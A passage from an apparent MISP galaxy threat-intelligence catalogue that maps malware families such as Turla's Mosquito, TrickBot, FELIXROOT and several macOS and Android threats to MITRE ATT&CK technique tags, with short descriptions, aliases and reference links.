uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
Links |
Mosquito - S0256
[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)
The tag is: misp-galaxy:mitre-malware="Mosquito - S0256"
Mosquito - S0256 is also known as:
-
Mosquito
Mosquito - S0256 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf |
UPPERCUT - S0275
[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)
The tag is: misp-galaxy:mitre-malware="UPPERCUT - S0275"
UPPERCUT - S0275 is also known as:
-
UPPERCUT
-
ANEL
UPPERCUT - S0275 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
Links |
VERMIN - S0257
[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)
The tag is: misp-galaxy:mitre-malware="VERMIN - S0257"
VERMIN - S0257 is also known as:
-
VERMIN
VERMIN - S0257 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
Links |
OldBoot - S0285
[OldBoot](https://attack.mitre.org/software/S0285) is an Android malware family. (Citation: HackerNews-OldBoot)
The tag is: misp-galaxy:mitre-malware="OldBoot - S0285"
OldBoot - S0285 is also known as:
-
OldBoot
OldBoot - S0285 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Modify OS Kernel or Boot Partition - T1398" with estimative-language:likelihood-probability="almost-certain"
Links |
http://thehackernews.com/2014/01/first-widely-distributed-android.html |
RGDoor - S0258
[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)
The tag is: misp-galaxy:mitre-malware="RGDoor - S0258"
RGDoor - S0258 is also known as:
-
RGDoor
RGDoor - S0258 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
Links |
RCSAndroid - S0295
[RCSAndroid](https://attack.mitre.org/software/S0295) is Android malware. (Citation: TrendMicro-RCSAndroid)
The tag is: misp-galaxy:mitre-malware="RCSAndroid - S0295"
RCSAndroid - S0295 is also known as:
-
RCSAndroid
RCSAndroid - S0295 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
Links |
InnaputRAT - S0259
[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim’s machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)
The tag is: misp-galaxy:mitre-malware="InnaputRAT - S0259"
InnaputRAT - S0259 is also known as:
-
InnaputRAT
InnaputRAT - S0259 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
Links |
TrickBot - S0266
[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)
The tag is: misp-galaxy:mitre-malware="TrickBot - S0266"
TrickBot - S0266 is also known as:
-
TrickBot
-
Totbrick
-
TSPY_TRICKLOAD
TrickBot - S0266 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
FELIXROOT - S0267
[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)
The tag is: misp-galaxy:mitre-malware="FELIXROOT - S0267"
FELIXROOT - S0267 is also known as:
-
FELIXROOT
-
GreyEnergy mini
FELIXROOT - S0267 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf |
Keydnap - S0276
This piece of malware steals the content of the user’s keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).
The tag is: misp-galaxy:mitre-malware="Keydnap - S0276"
Keydnap - S0276 is also known as:
-
Keydnap
-
OSX/Keydnap
Keydnap - S0276 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Space after Filename - T1151" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Securityd Memory - T1167" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ |
OBAD - S0286
OBAD is an Android malware family. (Citation: TrendMicro-Obad)
The tag is: misp-galaxy:mitre-malware="OBAD - S0286"
OBAD - S0286 is also known as:
-
OBAD
OBAD - S0286 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"
Links |
Bisonal - S0268
[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018)
The tag is: misp-galaxy:mitre-malware="Bisonal - S0268"
Bisonal - S0268 is also known as:
-
Bisonal
Bisonal - S0268 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
QUADAGENT - S0269
[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)
The tag is: misp-galaxy:mitre-malware="QUADAGENT - S0269"
QUADAGENT - S0269 is also known as:
-
QUADAGENT
QUADAGENT - S0269 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
FruitFly - S0277
FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).
The tag is: misp-galaxy:mitre-malware="FruitFly - S0277"
FruitFly - S0277 is also known as:
-
FruitFly
FruitFly - S0277 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links |
ZergHelper - S0287
[ZergHelper](https://attack.mitre.org/software/S0287) is iOS riskware that was unique due to its apparent evasion of Apple’s App Store review process. No malicious functionality was identified in the app, but it presents security risks. (Citation: Xiao-ZergHelper)
The tag is: misp-galaxy:mitre-malware="ZergHelper - S0287"
ZergHelper - S0287 is also known as:
-
ZergHelper
ZergHelper - S0287 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
Links |
iKitten - S0278
[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).
The tag is: misp-galaxy:mitre-malware="iKitten - S0278"
iKitten - S0278 is also known as:
-
iKitten
-
OSX/MacDownloader
iKitten - S0278 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rc.common - T1163" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Keychain - T1142" with estimative-language:likelihood-probability="almost-certain"
Links |
XcodeGhost - S0297
[XcodeGhost](https://attack.mitre.org/software/S0297) is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users. (Citation: PaloAlto-XcodeGhost1) (Citation: PaloAlto-XcodeGhost)
The tag is: misp-galaxy:mitre-malware="XcodeGhost - S0297"
XcodeGhost - S0297 is also known as:
-
XcodeGhost
XcodeGhost - S0297 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
Links |
Proton - S0279
[Proton](https://attack.mitre.org/software/S0279) is a macOS backdoor focusing on data theft and credential access (Citation: objsee mac malware 2017).
The tag is: misp-galaxy:mitre-malware="Proton - S0279"
Proton - S0279 is also known as:
-
Proton
Proton - S0279 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
